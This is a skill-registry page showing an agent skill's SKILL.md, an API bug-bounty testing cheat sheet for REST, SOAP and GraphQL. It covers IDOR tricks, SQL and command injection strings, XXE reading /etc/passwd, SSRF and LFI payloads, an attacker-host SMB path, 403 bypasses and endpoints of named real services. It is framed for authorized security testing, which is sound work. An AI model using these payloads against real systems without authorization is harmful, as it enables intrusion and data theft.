sekolah76/syadagentic/api-fuzzing-bug-bounty

Claude Code and agent skill by sekolah76/syadagentic

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Install

npx vskill@latest install sekolah76/syadagentic/api-fuzzing-bug-bounty

SKILL.md

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

API Fuzzing for Bug Bounty

Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Inputs/Prerequisites

  • Burp Suite or similar proxy tool
  • API wordlists (SecLists, api_wordlist)
  • Understanding of REST/GraphQL/SOAP protocols
  • Python for scripting
  • Target API endpoints and documentation (if available)

Outputs/Deliverables

  • Identified API vulnerabilities
  • IDOR exploitation proofs
  • Authentication bypass techniques
  • SQL injection points
  • Unauthorized data access documentation

API Types Overview

TypeProtocolData FormatStructure
SOAPHTTPXMLHeader + Body
RESTHTTPJSON/XML/URLDefined endpoints
GraphQLHTTPCustom QuerySingle endpoint

Core Workflow

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

bash
# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
# Extract paths from Swagger
python3 json2paths.py swagger.json
Step 2: Authentication Testing
bash
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# Check rate limiting on auth endpoints
# If no rate limit → brute force possible
# Test mobile vs web API separately
# Don't assume same security controls
Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

bash
# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com
# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

bash
# Wrap ID in array
{"id":111} → {"id":[111]}
# JSON wrap
{"id":111} → {"id":{"id":111}}
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
# Wildcard injection
{"user_id":"*"}
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
Step 4: Injection Testing

SQL Injection in JSON:

json
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC

Command Injection:

bash
# Ruby on Rails
?url=Kernel#open → ?url=|ls
# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

xml
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

html
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

bash
# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
Step 5: Method Testing
bash
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# Switch content type
Content-Type: application/json → application/xml

TEE-Protected API Breaking (ECIES + EIP-712)

For DEX/bridge APIs encrypting requests to Nitro/SGX enclaves, see references/tees-ecies-perps-dex.md.

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

graphql
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}
GraphQL IDOR
graphql
# Try accessing other user IDs
query {
user(id: "OTHER_USER_ID") {
email
password
creditCard
}
}
GraphQL SQL/NoSQL Injection
graphql
mutation {
login(input: {
email: "test' or 1=1--"
password: "password"
}) {
success
jwt
}
}
Rate Limit Bypass (Batching)
graphql
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
GraphQL DoS (Nested Queries)
graphql
query {
posts {
comments {
user {
posts {
comments {
user {
posts { ... }
}
}
}
}
}
}
}
GraphQL XSS
bash
# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
GraphQL Tools
ToolPurpose
GraphCrawlerSchema discovery
graphw00fFingerprinting
clairvoyanceSchema reconstruction
InQLBurp extension
GraphQLmapExploitation

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

bash
# Original blocked request
/api/v1/users/sensitivedata → 403
# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

Output Exploitation

PDF Export Attacks
html
<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>
<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>
<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>
<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>
DoS via Limits
bash
# Normal request
/api/news?limit=100
# DoS attempt
/api/news?limit=9999999999

Common API Vulnerabilities Checklist

VulnerabilityDescription
API ExposureUnprotected endpoints exposed publicly
Misconfigured CachingSensitive data cached incorrectly
Exposed TokensAPI keys/tokens in responses or URLs
JWT WeaknessesWeak signing, no expiration, algorithm confusion
IDOR / BOLABroken Object Level Authorization
Undocumented EndpointsHidden admin/debug endpoints
Different VersionsSecurity gaps in older API versions
Rate LimitingMissing or bypassable rate limits
Race ConditionsTOCTOU vulnerabilities
XXE InjectionXML parser exploitation
Content Type IssuesSwitching between JSON/XML
HTTP Method TamperingGET→DELETE/PUT abuse

Quick Reference

VulnerabilityTest PayloadRisk
IDORChange user_id parameterHigh
SQLi' OR 1=1-- in JSONCritical
Command Injection; ls /Critical
XXEDOCTYPE with ENTITYHigh
SSRFInternal IP in paramsHigh
Rate Limit BypassBatch requestsMedium
Method TamperingGET→DELETEHigh

Tools Reference

CategoryToolURL
API FuzzingFuzzapigithub.com/Fuzzapi/fuzzapi
API FuzzingAPI-fuzzergithub.com/Fuzzapi/API-fuzzer
API FuzzingAstragithub.com/flipkart-incubator/Astra
API Securityapicheckgithub.com/BBVA/apicheck
API DiscoveryKiterunnergithub.com/assetnote/kiterunner
API Discoveryopenapi_security_scannergithub.com/ngalongc/openapi_security_scanner
API ToolkitAPIKitgithub.com/API-Security/APIKit
API KeysAPI Guesserapi-guesser.netlify.app
GUIDGUID Guessergist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQLInQLgithub.com/doyensec/inql
GraphQLGraphCrawlergithub.com/gsmith257-cyber/GraphCrawler
GraphQLgraphw00fgithub.com/dolevf/graphw00f
GraphQLclairvoyancegithub.com/nikitastupin/clairvoyance
GraphQLbatchqlgithub.com/assetnote/batchql
GraphQLgraphql-copgithub.com/dolevf/graphql-cop
WordlistsSecListsgithub.com/danielmiessler/SecLists
Swagger ParserSwagger-EZrhinosecuritylabs.github.io/Swagger-EZ
Swagger Routesswagroutesgithub.com/amalmurali47/swagroutes
API MindmapMindAPIdsopas.github.io/MindAPI/play
JSON Pathsjson2pathsgithub.com/s0md3v/dump/tree/master/json2paths

Constraints

Must:

  • Test mobile, web, and developer APIs separately
  • Check all API versions (/v1, /v2, /v3)
  • Validate both authenticated and unauthenticated access

Must Not:

  • Assume same security controls across API versions
  • Skip testing undocumented endpoints
  • Ignore rate limiting checks

Should:

  • Add X-Requested-With: XMLHttpRequest header to simulate frontend
  • Check archive.org for historical API endpoints
  • Test for race conditions on sensitive operations

Pre-Auth Endpoint Fingerprinting (Error-Code Differential)

Compare error codes across endpoints to find ones that skip auth checks:

Response patternMeaningAction
12100 / "not logged in"Auth gate fires firstProperly gated
100002 / param error / timeoutParam validation BEFORE authPriority target — find correct params
404 / emptyWrong pathMove on
401 / 403HTTP-layer auth gateProperly gated

Hit every endpoint with garbage params. Endpoints returning param-validation errors (not auth errors) process requests before checking identity. Brute-force correct param shape from JS bundle analysis.

Real example (Tencent Docs): auth_exp/set and auth_getconf returned 100002 while siblings auth_info/get and set_user returned 12100. The 100002 endpoints process pre-auth.

JS Bundle API Mining

  1. curl -sk <target> | grep -oE 'src="[^"]+\.js"' → download bundles
  2. grep -oE '"[^"]*(/api/|/cgi-bin/|/v[0-9]/|/cgi-go/)[^"]*"' → endpoint paths
  3. Search endpoint string ±500 chars → param names and shape
  4. grep -oE '(xsrf|csrf|TOK|token).{0,100}' → CSRF token source
  5. Test param name variants: padId, localPadId, pad_id, docId
  6. grep -oE '(client_id|appid).{0,50}[0-9]{6,}' → OAuth config

Minified JS preserves paths and param names verbatim. Calling function reveals exact shape (FormData vs JSON, GET vs POST).

Named endpoint constants (high-value mining)

Minified bundles often define a single object of named route constants, e.g. users_polymarket_account:"/users/polymarket/account". Grepping this object reveals the FULL auth-gated surface in one shot — endpoints plain path-guessing never finds. This is how the whole Polymarket scope surfaced on Manic.trade:

bash
# dump the whole route-constant object
grep -oE 'users_[a-z_]+:"/[^"]*"' chunk.js | sort -u
# or any prefix
grep -oE '[a-z_]+_auth[a-z_]*:"/[^"]*"' chunk.js | sort -u

Then probe each discovered path for auth status (401 vs 405 vs 200). A 405 (needs POST) vs 401 (missing auth) split tells you which are method-gated vs token-gated. Cross-check against the base URLs found in the same bundle (grep -oE 'https://[a-z0-9.-]*' *.js | sort -u) — /api/* paths may live on a DIFFERENT host than the one you're probing.

Auth-bypass matrix (when endpoints return 401)

When all sensitive endpoints return 401 Missing authorization, run this matrix before assuming a token is required — cheap and sometimes hits:

This is the start of the file. Read the full SKILL.md on GitHub.

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

7-day trend score
0

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/sekolah76/syadagentic/api-fuzzing-bug-bounty/badge)](https://verified-skill.com/skills/sekolah76/syadagentic/api-fuzzing-bug-bounty)

Something wrong with this skill or its page? Tell us.